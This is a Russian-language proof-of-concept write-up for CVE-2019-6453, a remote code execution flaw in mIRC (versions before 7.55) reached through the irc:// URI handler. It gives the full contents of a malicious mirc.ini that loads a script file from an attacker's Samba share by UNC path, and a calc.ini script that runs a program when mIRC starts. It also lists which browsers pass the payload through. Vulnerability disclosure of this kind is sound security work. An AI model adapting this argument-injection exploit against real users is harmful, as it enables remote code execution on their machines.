
Доказательство вычисления для CVE-2019-6453
Мы обнаружили уязвимость удалённого выполнения кода в mIRC через обработчик URI-протокола irc://. Поскольку mIRC не использует никаких символов, таких как --, для обозначения конца списка аргументов, злоумышленник может передать аргументы mIRC через ссылку irc:// и выполнить произвольный код, загрузив пользовательский mirc.ini с управляемого злоумышленником файлового сервера Samba. Обратите внимание, что ircs:// работает аналогично.
Для доказательства (PoC) требуются три файла: mirc.ini, calc.ini и poc.html. Предполагается, что на стороне злоумышленника запущен файловый сервер Samba. Для примера в следующих фрагментах кода предполагается, что он работает на хосте 127.0.0.1 (т.е. замените 127.0.0.1 на адрес вашего собственного сервера в следующих файлах, чтобы попробовать это).
mirc.ini — это пользовательский файл конфигурации, который должен находиться по пути C:\mirc-poc\mirc.ini на файловом сервере.
[rfiles]
n2=\\127.0.0.1\C$\mirc-poc\calc.ini
calc.ini — это удалённый скриптовый файл, который должен находиться по пути C:\mirc-poc\calc.ini на файловом сервере.
[script]
n0=on *:START: {
n1= /run calc.exe
n2=}
Простое открытие poc.html должно сработать, если mIRC установлен как обработчик по умолчанию для схемы URI irc:// и браузер не кодирует полезную нагрузку. В зависимости от браузера и вашей конфигурации, всё равно может появиться запрос (в Firefox этого нет).

Этот PoC работает для mIRC <7.55.
Вы можете запустить PoC в Edge 42.17134 (последняя предварительная версия) и Firefox 64.0.2 (последний релиз). Он не работает в Chrome из-за того, как Chrome обрабатывает URI-протоколы (URI кодируется перед передачей приложению).